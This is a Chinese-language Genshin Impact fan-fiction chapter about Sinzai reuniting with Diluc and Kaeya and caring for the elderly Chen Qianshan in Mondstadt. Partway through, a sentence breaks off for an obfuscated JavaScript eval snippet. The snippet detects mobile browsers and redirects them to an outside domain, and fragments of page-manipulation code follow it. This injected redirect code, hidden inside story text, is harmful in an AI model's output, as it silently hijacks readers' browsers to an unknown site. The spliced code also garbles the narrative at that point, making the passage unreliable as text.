“迪卢克?”
辛在的语气带着点飘忽不定的不可置信,让一旁的凯亚忍俊不禁。
这位身形高大面容俊秀的红发青年,就是晨曦酒庄现任的主人,也是天使的馈赠的老板,莱艮芬德家的迪卢克老爷。
“许久不见,辛在。行了,别摆出这幅表情,我现在很好。”
辛在一口喝掉了杯子里剩下的苹果酒,语气温和:
“任谁见过七年前的你,再看到现在的你都会惊讶的。我想我应该不是特例,请稍微体谅一下吧,亲爱的迪卢克老爷。”
迪卢克不爽的扭头看向一边:“啧。”
不过这种反应已经是无声的纵容了。
凯亚举手表示要一杯午后之死,只得来了迪卢克一个斜睨。
倒是查尔斯不知道从哪个角落里冒出来,给他送上一杯午后之死,然后又消失了。
凯亚“噗嗤”一声笑出来。
辛在也笑着和他干杯,然后两人一起看向迪卢克。
迪卢克:“……”
他给自己倒了一杯葡萄汁,没什么表情的举起杯子,十分勉强的碰了一下,玻璃杯相撞发出清脆的一声。
在这一点上,迪卢克的口味跟辛在很相似。
只不过辛在向来是博爱的,葡萄汁只是他爱喝的果汁之一,苹果酿、树莓汁、日落果汁、落落莓汁、泡泡桔汁……
他不介意把每一种水果榨成汁尝试一下味道,尽管有些水果根本不适合榨汁。
“你们俩看起来这几年的经历都不是能轻易开口说的样子,那就讲讲我的经历吧。”
辛在放下杯子,开了个玩笑,
“不过我好像也没有什么值得说的经历,嗯,在沙漠里被沙虫顶破了衣服只好披着枣椰树的叶子过了一天一夜,算有趣的经历吗?”
凯亚十分捧场的鼓掌:“当然算,简直有趣过头了,至少只是衣服。不过为什么只穿了一天一夜的树叶?”
辛在即答:“因为第二天我的老师就找到我了,他带了备用的衣服。”
迪卢克不为所动道:“你还可以说一说自己在教令院发表的那几篇大作,内容诙谐到我以为是骑士团的演讲稿,每一年都是大同小异的废话。”
辛在大惊:“你还专门去搜我的论文看?!”
凯亚轻咳一声:“我也看了,说实话,你这些年的写作习惯完全没变,在蒙德写了三年的话题,拿到教令院还是在继续写——你就不能换点别的?”
辛在没好气道:“能写出来就不错了,至少写这个老师会夸我感情充沛,写其他的老师只是跪下求我别动笔,动笔也别写上他的名字。”
凯亚露出一个不太真诚的微笑,声音还是微微上扬,但辛在莫名听出了一点点咬牙切齿:
“但是【为了蒲公英打架的兄弟,最后发现自由之风带走了蒲公英,只留下象征着希望的蒲公英籽】这种最初就失真的版本,到底为什么会延伸成「自由在蒙德的意义」「风神对蒙德的影响」「以小见大,藏在蒲公英中的自由」「蒙德人民对于自由的信仰从何而来」……这么多标题和文章?”
辛在双手捧心,眼神真诚:“这是因为我对你们深刻的友谊啊!经常写才不会忘记嘛!”
迪卢克忍无可忍:“难道你这几年没有交别的朋友吗?”
辛在爽朗道:“当然有啊!所以他们也在我的作文和论文里!嗨呀,不要只关注自己的关键词嘛!多看看你就会发现,其实我写的最多的是岩王帝君祂老人家。”
凯亚轻吐一口气:“你还真是虔诚的岩神信徒。”
迪卢克哼了一声:“虔诚?我看未必。”
辛在摆摆手:“不要在意那些细节啦,都是艺术加工,艺术加工。我也没写那对兄弟的名字,你不说我不说,谁知道原型是你们呢?”
凯亚对此有些意见:“不,就算说了别人也很难相信吧?已经差别大到会以为是撞名的程度了。”
辛在更理直气壮了:“所以你们纠结什么?就当我编的故事呗!”
迪卢克似乎觉得有道理,但还是补充了一句:“我们当时不是为蒲公英打架。”
辛在一摊手:“艺术加工啦迪卢克老爷,理解一下。”
凯亚笑的前仰后合:“哈哈,你知道迪卢克老爷为什么这么在意吗?是因为最后他打输了!其实蒲公英根本不重要,重要的是……”
说到这他突然停了下来。
迪卢克脸黑了下来:“要再打一次吗?”
凯亚赶紧摆手:“免了吧,我前段时间忙的脚不沾地,眼看还有继续忙下去的意思,可不想跟你打架。”
迪卢克冷哼一声,算是揭过了这个话题。
辛在也没有继续问刚才凯亚的停顿是怎么回事。
三个久别重逢的老同学在一起聊了很多话题,因为时间而生疏的关系也飞速的拉近。
到了时间,辛在就告别二人回去做饭了。
走之前他拍了拍凯亚的肩膀:“我以为你会永远站在迪卢克那边。”
凯亚似乎有些微醺了,他微笑着对着空气举杯:“当然,我一直站在他身边。”
辛在松了口气,无视了迪卢克不赞同的目光,哼着歌打包带走了一杯葡萄汁,脚步轻快的离开了天使的馈赠。
迪卢克皱了皱眉,对着查尔斯说道:“叫人把这个醉鬼送回去,路上灌一碗醒酒汤,他今天的公务还没做完。”
凯亚撑着脸颊,看迪卢克走远的背影,嘟囔道:“当年去跟辛在当同学,看来是非常英明的决定呢。”
作为莱艮芬德的少爷,他们本来有自己的家庭教师,可以选择在家里学习,但是凯亚向克利普斯请求,他们俩就去了学校跟很多人一起上课。
那其中就有从璃月转学来的辛在。
最终,努力处理完公务的骑兵队长今晚回了晨曦酒庄,收到了女仆长爱德琳的热烈欢迎和义兄迪卢克嫌弃的眼神。
他们针锋相对的说了几句废话,然后一起吃饭,闲聊,再回到各自的房间,和从前不同,但又似乎一样。
辛在带着饭菜回去的时候,发现歌德大酒店的愚人众都走的差不多了,但是换成西风骑士在门前站岗了。
回到房间,陈千善似乎也发觉了什么,问了外面的情况,口中抱怨道:
“一下午不知道在闹什么,吵翻了天,愚人众的老大好像一早跑了,留下一群什么也不清楚的家伙跟那什么骑士团扯犊子扯半天。”
辛在也不知道发生了什么,不过他倒是也有自己的猜测:
“蒙德的龙灾已经控制住了,看骑士
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282924|182540||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
团的态度,也许这次灾害愚人众也在其中做了什么手脚,毕竟愚人众不是干不出来这种事,然后被发现了吧。对了,既然安全了,陈爷爷明天要不要出去逛逛?冒险家的招募还没什么进度的样子,也许要多留两天了。”
陈千善也知道急没用,尽管他每时每刻都恨不得立马从天而降一个强大的冒险家,这样辛在的安全也多一份保障,这孩子劝也劝不动,铁了心要跟他一起去。
他感到欣慰的同时也是真的忧心。
虽然嘴上不说,但他这几天看报纸的同时也没忘了这事,急的快上火了。
辛在对此的应对是把银耳羹换成了莲子羹,没去莲子心的那种,咬破外面的一层软糯甘甜,莲子心的苦味就迫不及待的漫上舌尖。
吃了两顿之后,陈千善就心平气和了。
辛在也从善如流的换成去了莲心的莲子炖汤。
陈千善打了个哈欠,他最近困的越来越早了:“那明天就去逛逛吧,难得来一次蒙德,多看看风景也不错。”
辛在就打来热水给他洗漱,然后像照顾小宝宝一样把陈爷爷塞进被子里,掖了掖被角,留一盏小夜灯,坐在旁边等他睡着再离开。
陈千善活了这么多年也没被小辈这么伺候过,一开始他还会偷偷抹眼泪,现在倒是笑的时候多。
有时候醒来,看见辛在拎着饭盒进来,忙碌的给他摆好碗,打开窗透风,又给他整理报纸,讲一讲上学时候的趣事。
想起香菱巴巴的找人四处打听他的事,还为他一个快死的老头子花钱,街坊邻居们都悄悄关注着。
他就会觉得,这一生也不算白活。
面对即将到来的终点,也觉得没有那么害怕了。
等见到白薇和小玄,他也有很多事可以说,没有那么惊心动魄,也没有多少家国大义,但亦足够让人铭记。
听到逐渐舒缓的呼吸声之后,辛在才悄悄起身,关上房门回到了隔壁自己的房间。
今天很高兴,所以难得的他又拿出了日记本,但是指尖转动着羽毛笔,却半天没想出来要写什么。
有太多想要写的东西,结果真要落笔的时候反而不知道要如何开头。
他单手撑着下巴看向窗外,今夜月亮也还是圆的。
说起来,长这么大,好像从来没见过满月之外的月亮形态……提瓦特的月亮不转吗?
但是太阳在转,况且每天也是日升月落的循环。
不过这个问题就不是想不想的通的事了,毕竟他也不可能飞到月亮上去看,神之眼没给他飞行的能力,嗯这个还是挺可惜的。
曾经他还想把这个写成论文呢,不过被老师骂回去了。
月亮对于提瓦特来说,似乎是种特别的存在,毕竟是有神明存在的世界,说不定这个月亮其实是哪个神明挂上去的呢?
所以才一直是满月的样子。
辛在没再关注月亮,目光落在外面的街道上,因为月光大部分时间都很明亮,所以夜晚也一直被柔和的光包围。
静谧的月华之下,夜晚的蒙德城比白天的热闹更多了一些温柔。
一阵风吹进来,将日记本的纸张吹的哗哗响,辛在不得不用手压住。
好吧,蒙德的风总是这么自由。
今晚辛在又没写成日记。